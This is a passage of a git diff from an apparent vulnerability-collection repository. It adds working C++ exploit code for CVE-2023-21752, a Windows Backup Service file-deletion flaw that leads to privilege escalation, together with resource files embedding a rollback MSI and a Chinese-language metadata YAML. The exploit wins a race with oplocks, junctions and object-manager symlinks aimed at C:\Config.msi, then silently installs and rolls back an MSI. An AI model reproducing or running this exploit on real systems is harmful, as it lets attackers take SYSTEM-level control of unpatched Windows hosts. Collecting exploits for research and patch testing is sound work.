dir); + return TRUE; + } + else + { + printf("[!] Error: %d.\n", GetLastError()); + return FALSE; + } +} +BOOL Move(HANDLE hFile) { + if (hFile == INVALID_HANDLE_VALUE) { + printf("[!] Invalid handle!\n"); + return FALSE; + } + wchar_t tmpfile[MAX_PATH] = { 0x0 }; + RPC_WSTR str_uuid; + UUID uuid = { 0 }; + UuidCreate(&uuid); + UuidToString(&uuid, &str_uuid); + _swprintf(tmpfile, L"\\??\\C:\\windows\\temp\\%s", str_uuid); + size_t buffer_sz = sizeof(FILE_RENAME_INFO) + (wcslen(tmpfile) * sizeof(wchar_t)); + FILE_RENAME_INFO* rename_info = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, buffer_sz); + IO_STATUS_BLOCK io = { 0 }; + rename_info->ReplaceIfExists = TRUE; + rename_info->RootDirectory = NULL; + rename_info->Flags = 0x00000001 | 0x00000002 | 0x00000040; + rename_info->FileNameLength = wcslen(tmpfile) * sizeof(wchar_t); + memcpy(&rename_info->FileName[0], tmpfile, wcslen(tmpfile) * sizeof(wchar_t)); + NTSTATUS status = pNtSetInformationFile(hFile, &io, rename_info, buffer_sz, 65); + if (status != 0) { + return FALSE; + } + return TRUE; +} +LPWSTR BuildPath(LPCWSTR path) { + wchar_t ntpath[MAX_PATH]; + swprintf(ntpath, L"\\??\\%s", path); + return ntpath; +} +VOID FindFile(HANDLE hDidr) { + PFILE_NOTIFY_INFORMATION fi = NULL; + WCHAR file[MAX_PATH] = { 0x0 }; + FileOpLock* oplock; + WCHAR* final_path = (WCHAR*)malloc(MAX_PATH); + HANDLE hDir = CreateFile(dir, GENERIC_WRITE | GENERIC_READ, FULL_SHARING, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT, NULL); + BOOL stop = FALSE; + do { + + wchar_t buff[4096] = { 0 }; + DWORD ret = 0; + ReadDirectoryChangesW(hDir, buff, 4096, FALSE, FILE_NOTIFY_CHANGE_FILE_NAME, &ret, NULL, NULL); + + fi = (PFILE_NOTIFY_INFORMATION)buff; + if (fi->Action == FILE_ACTION_ADDED) { + stop = TRUE; + } + } while (stop == FALSE); + _swprintf(file, L"%s\\%s",dir, fi->FileName); + _swprintf(object, L"Global\\GLOBALROOT\\RPC Control\\%s", fi->FileName); + do { + hFile = CreateFile(file, GENERIC_READ | DELETE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL); + } while (hFile == INVALID_HANDLE_VALUE); + + oplock = FileOpLock::CreateLock(hFile, cb); + if (oplock != nullptr) { + oplock->WaitForLock(INFINITE); + delete oplock; + } +} +VOID GetTmpDir(LPWSTR dir) { + LPWSTR username; + DWORD szUsername = 0; + WCHAR path[MAX_PATH] = { 0x0 }; + RPC_WSTR str_uuid; + UUID uuid = { 0x0 }; + + UuidCreate(&uuid); + UuidToString(&uuid, &str_uuid); + GetUserName(NULL, &szUsername); + username = (LPWSTR)malloc(szUsername); + GetUserName(username, &szUsername); + swprintf(path, L"C:\\users\\%s\\appdata\\local\\temp\\%s", username, str_uuid); + StrCatW(dir, path); +} +HANDLE myCreateDirectory(LPWSTR file, DWORD access, DWORD share, DWORD dispostion) { + UNICODE_STRING ufile; + HANDLE hDir; + pRtlInitUnicodeString(&ufile, file); + OBJECT_ATTRIBUTES oa = { 0 }; + IO_STATUS_BLOCK io = { 0 }; + NTSTATUS retcode; + InitializeObjectAttributes(&oa, &ufile, OBJ_CASE_INSENSITIVE, NULL, NULL); + + retcode = pNtCreateFile(&hDir, access, &oa, &io, NULL, FILE_ATTRIBUTE_NORMAL, share, dispostion, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL); + + if (!NT_SUCCESS(retcode)) { + SetLastError(retcode); + return NULL; + } + return hDir; +} +DWORD WINAPI install(void*) { + + HMODULE hm = GetModuleHandle(NULL); + HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_MSI1), L"msi"); + wchar_t msipackage[MAX_PATH] = { 0x0 }; + GetTempFileName(L"C:\\windows\\temp\\", L"MSI", 0, msipackage); + printf("[*] MSI file: %ls\n", msipackage); + DWORD MsiSize = SizeofResource(hm, res); + void* MsiBuff = LoadResource(hm, res); + HANDLE pkg = CreateFile(msipackage, GENERIC_WRITE | WRITE_DAC, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + WriteFile(pkg, MsiBuff, MsiSize, NULL, NULL); + CloseHandle(pkg); + MsiSetInternalUI(INSTALLUILEVEL_NONE, NULL); + MsiInstallProduct(msipackage, L"ACTION=INSTALL"); + MsiInstallProduct(msipackage, L"REMOVE=ALL"); + DeleteFile(msipackage); + return 0; +} +VOID Fail() { + Sleep(5000); + printf("[!] Race condtion failed!\n"); + DeleteJunction(hDir); + DelDosDeviceSymLink(object, L"\\??\\C:\\Config.msi::$INDEX_ALLOCATION"); + exit(1); +} \ No newline at end of file diff --git a/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/resource.h b/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/resource.h new file mode 100644 index 0000000000000000000000000000000000000000..fe7a48b5f00437d29a6eb8cdc3449c9df8241fee --- /dev/null +++ b/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/resource.h @@ -0,0 +1,17 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ generated include file. +// Used by FolderOrFileDeleteToSystem.rc +// +#define IDR_RBS1 101 +#define IDR_MSI1 102 + +// Next default values for new objects +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 107 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1001 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git a/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/resource.rc b/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/resource.rc new file mode 100644 index 0000000000000000000000000000000000000000..a2878679e56c09c1f70cdf319708140faaec1a61 --- /dev/null +++ b/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/resource.rc @@ -0,0 +1,75 @@ +// Microsoft Visual C++ generated resource script. +// +#include "resource.h" + +#define APSTUDIO_READONLY_SYMBOLS +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 2 resource. +// +#include "winres.h" + +///////////////////////////////////////////////////////////////////////////// +#undef APSTUDIO_READONLY_SYMBOLS +///////////////////////////////////////////////////////////////////////////// +// English (United Kingdom) resources + +#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENG) +LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_UK +#pragma code_page(1252) + +#ifdef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// TEXTINCLUDE +// + +1 TEXTINCLUDE +BEGIN +"resource.h\0" +END + +2 TEXTINCLUDE +BEGIN +"#include ""winres.h""\r\n" +"\0" +END + +3 TEXTINCLUDE +BEGIN +"\r\n" +"\0" +END + +#endif // APSTUDIO_INVOKED + + +///////////////////////////////////////////////////////////////////////////// +// +// RBS +// + +IDR_RBS1 RBS "cmd.rbs" + + +///////////////////////////////////////////////////////////////////////////// +// +// MSI +// + +IDR_MSI1 MSI "Msi_Rollback.msi" + +#endif // English (United Kingdom) resources +///////////////////////////////////////////////////////////////////////////// + + + +#ifndef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 3 resource. +// + + +///////////////////////////////////////////////////////////////////////////// +#endif // not APSTUDIO_INVOKED diff --git a/cve/Windows Backup Service/2023/yaml/CVE-2023-21752.yaml b/cve/Windows Backup Service/2023/yaml/CVE-2023-21752.yaml new file mode 100644 index 0000000000000000000000000000000000000000..d1e681d50a89b42d77570749e45fd42a33db625f --- /dev/null +++ b/cve/Windows Backup Service/2023/yaml/CVE-2023-21752.yaml @@ -0,0 +1,40 @@ +id: CVE-2023-21752 +source: https://github.com/Wh04m1001/CVE-2023-21752 +info: + name: Windows备份服务为计算机提供备份和还原的功能。它依赖于Microsoft Windows备份引擎,提供了备份和还原的基本功能,例如备份系统镜像、文件、文件夹和应用程序数据等。 + severity: high + description: CVE-2023-21752微软在2023年1月份修复的一个位于Windows备份服务中的任意文件删除漏洞。由于Windows备份引擎在文件夹权限验证时处理不当,攻击者可构造恶意代码实现任意文件删除,进而导致特权提升。 + scope-of-influence: + Windows 7 for 32-bit Systems Service Pack 1 + Windows 10 for 32-bit Systems + Windows 10 Version 1607 for x64-based Systems + Windows 10 for x64-based Systems + Windows 7 for x64-based Systems Service Pack 1 + Windows 10 Version 1809 for x64-based Systems + Windows 10 Version 1607 for 32-bit Systems + Windows 10 Version 1809 for ARM64-based Systems + Windows 10 Version 1809 for 32-bit Systems + Windows 10 Version 20H2 for ARM64-based Systems + Windows 10 Version 20H2 for 32-bit Systems + Windows 10 Version 20H2 for x64-based Systems + Windows 11 Version 22H2 for x64-based Systems + Windows 10 Version 21H2 for x64-based Systems + Windows 10 Version 22H2 for x64-based Systems + Windows 10 Version 21H2 for 32-bit Systems + Windows 11 version 21H2 for ARM64-based Systems + Windows 11 version 21H2 for x64-based Systems + Windows 10 Version 21H2 for ARM64-based Systems + Windows 10 Version 22H2 for 32-bit Systems + Windows 11 Version 22H2 for ARM64-based Systems + Windows 10 Version 22H2 for ARM64-based Systems + reference: + - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21752 + - https://nvd.nist.gov/vuln/detail/CVE-2023-21752 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H + cvss-score: 7.1 + cve-id: CVE-2023-21752 + cwe-id: NVD-CWE-noinfo + cnvd-id: None + kve-id: None + tags: Windows diff --git a/other_list.yaml b/other_list.yaml index ea9254993a1143b2ef3a3f4c841b1f2516f4128b..9710722ec9cd14319717d1e07d5b3ffd53fa048f 100644 --- a/other_list.yaml +++ b/other_list.yaml @@ -68,4 +68,6 @@ cve: - CVE-2023-23488 zimbra: - CVE-2022-41352 + Windows Backup Service: + - CVE-2023-21752 cnvd: